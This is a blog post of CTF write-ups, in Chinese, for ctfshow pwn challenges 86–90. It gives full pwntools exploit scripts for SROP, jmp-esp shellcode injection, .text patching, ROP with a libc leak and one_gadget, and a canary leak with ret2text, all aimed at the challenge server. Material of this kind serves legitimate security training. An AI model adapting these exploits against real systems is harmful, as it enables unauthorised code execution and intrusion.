ctfshow:pwn86~pwn90
本文最后更新于7 天前,其中的信息可能已经过时,如有错误请发送邮件到506742773@qq.com

pwn86(srop)

我们可以往bass段写0x200字节,然后如果sys_read(0, global_buf, 0x200u) >= 0xF8就会syscall

注意多调试看看寄存器的状态

info registers
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

# p = process("./pwn")
p=remote("pwn.challenge.ctf.show",28313)
buf = 0x601040
syscall_ret = 0x400147

frame = SigreturnFrame()
frame.rax = 59
frame.rdi = buf + 0x1f8
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret

payload = bytes(frame)
payload = payload.ljust(0x1f8, b'\x00')
payload += b'/bin/sh\x00'

p.recvuntil(b"Welcome to CTFshowPWN!\n")
p.send(payload)

p.interactive()

pwn87(花式栈溢出)

拖进ida看大概是可以栈迁移+shellcode

0x080484a5: leave; ret; 
0x804a000  0x804b000 rw-p     1000    1000 pwn
0x08048d17: jmp esp; 

但是好像栈空间够放shellcode就不用迁移到.bss段了

栈上的偏移是相对固定的,我们可以利用栈溢出对esp进行操作,使其指向shellcode处,并且直接控制

程序跳转至esp处。

from pwn import *

context(arch='i386', os='linux', log_level='debug')
# p = process("./pwn")
p=remote("pwn.challenge.ctf.show",28289)
elf = ELF("./pwn")

offset=0x20+4
buf_addr=0xffffcfd8
jmp_esp=0x08048d17

# shellcode=asm(shellcraft.sh())
shellcode = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += b"\x0b\xcd\x80"
sub_esp_jmp = asm("sub esp,0x28;jmp esp")
payload = shellcode.ljust(offset,b'a') + p32(jmp_esp)
payload += sub_esp_jmp
# gdb.attach(p,'b *0x8048725')
p.sendlineafter("What's your name?", payload)
p.interactive()


pwn88(花式栈溢出)

程序每次可以向某个地址写入一个字节,一个方法是利用%llx实现写入修改.text中的指令实现多次利用,写入shellcode然后跳转执行Shellcode

修改的目标是程序的尾段


这里有一个jnz xxxxxx;意思是不满足条件就跳转执行xxxxxx中的指令,满足的话也就是n255 == 255就会puts(“No flag for you”),所以我们可以把jnz改为jmp

然后我们需要逐字节写入shellcode到0x400769 开始的区域

然后修改偏移跳转到shellcode,很巧妙的利用方式

writeData(text+1, u32(asm('jnz $+0x2')[1:].ljust(4,'\x00')))
from pwn import *

context(arch='amd64', os='linux', log_level='debug')
# p = process("./pwn")
p=remote("pwn.challenge.ctf.show", 28279)
elf = ELF("./pwn")
text=0x400767
shellcode=asm(shellcraft.sh())
buf=0x400769
def writeData(addr,data):
    p.sendlineafter('Where What?',(hex(addr) + ' ' + str(data)).encode())
jnz_bytes = asm('jnz $-0x4A')
writeData(text + 1, u32(jnz_bytes[1:].ljust(4, b'\x00')))
jmp_bytes = asm('jmp $-0x4A')
writeData(text, u32(jmp_bytes[0:1].ljust(4, b'\x00')))

i = 0
for x in shellcode:  # x 是 int (0-255)
    writeData(buf + i, x)
    i += 1

final_jnz = asm('jnz $+0x2')
writeData(text + 1, u32(final_jnz[1:].ljust(4, b'\x00')))
p.interactive()


就是要注意编码形式

pwn89(花式栈溢出)

一直跟进到lenth函数发现有fget危险函数

__int64 lenth()
{
  char s[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  fgets(s, 8, stdin);
  return atol(s);
}


start中的条件判断

n0x10000 = lenth();
  if ( n0x10000 <= 0x10000 )
  {
    readn(0, s, n0x10000);
    puts("See you next time!");
  }
  else
  {
    puts("Are you kidding me?");
  }


main函数在创建线程和等待线程结束,跟进readn函数

__int64 __fastcall readn(int fd, _BYTE *s, unsigned __int64 n0x10000)
{
  unsigned __int64 n0x10000_1; // [rsp+20h] [rbp-10h]
  ssize_t v6; // [rsp+28h] [rbp-8h]

  n0x10000_1 = 0;
  while ( n0x10000_1 < n0x10000 )
  {
    v6 = read(fd, &s[n0x10000_1], n0x10000 - n0x10000_1);
    if ( v6 == -1 )
    {
      if ( *__errno_location() != 11 && *__errno_location() != 4 )
        return -1;
    }
    else
    {
      if ( !v6 )
        return n0x10000_1;
      n0x10000_1 += v6;
    }
  }
  return n0x10000_1;
}

这题开了canary,可以用到攻击TLS结构体

最开始输入长度最大是0x10000,而s只有0x1010,会发生栈溢出,然后rop迁移到.bss段执行one_gadget

from pwn import *
from LibcSearcher import LibcSearcher

context(arch='amd64', os='linux', log_level='debug')
p=remote("pwn.challenge.ctf.show", 28104)
# p = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc6_2.27-3ubuntu1.6_amd64.so")

offset = 0x1010
bss = 0x602100
rdi = 0x400be3
rsi_r15 = 0x400be1
leave_ret = 0x40098c

# 构造 ROP 链
payload = b"a" * offset
payload += p64(bss - 0x8)
payload += p64(rdi)
payload += p64(elf.got["puts"])
payload += p64(elf.plt["puts"])
payload += p64(rdi)
payload += p64(0)
payload += p64(rsi_r15)
payload += p64(bss)
payload += p64(0)
payload += p64(elf.plt["read"])
payload += p64(leave_ret)

payload = payload.ljust(0x2000, b'a')

p.sendlineafter('send:\n', str(0x2000))
sleep(0.5)
p.send(payload)
sleep(0.5)

p.recvuntil("See you next time!\n")
leak = p.recv(6)
puts_addr = u64(leak.ljust(8, b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols["puts"]
one_gadget = libc_base + 0x4f302

p.send(p64(one_gadget))

p.interactive()


就是要注意bss段的地址,这里用的是0x602100,还有payload的结构,先伪造返回地址然后泄露libc和构造read写入one_gadget


pwn90(花式栈溢出)


程序有后门函数

思路就是第一次先泄露canary第二次就ret2text

泄露canary时要注意read大小是40+1 (+ 1 是为了覆盖 canary 的最低位为非 0 的值, printf 使用 %s 时, 遇到 \0 结束, 覆盖 canary 低位为非 0 值时, canary 就可以被 printf 打印出来了)(摘自官wp)

最后的返回地址,由于开了pie,可以用低两位字节的偏移来覆盖

from pwn import*
context(arch = 'amd64',os = 'linux',log_level = 'debug')
# io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28108)
payload = b'a' * 41
io.sendafter('show:\n',payload)
io.recv(6 + 40)
canary = u64(io.recv(8)) & (0xffffffffffffff00)
print(hex(canary))
payload = b'a' * 40 + p64(canary) + p64(0) + b'\x42'
io.send(payload)
io.interactive()


多试了一下其他的比如覆盖成3e,但是好像不行

崛与宫村好甜
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇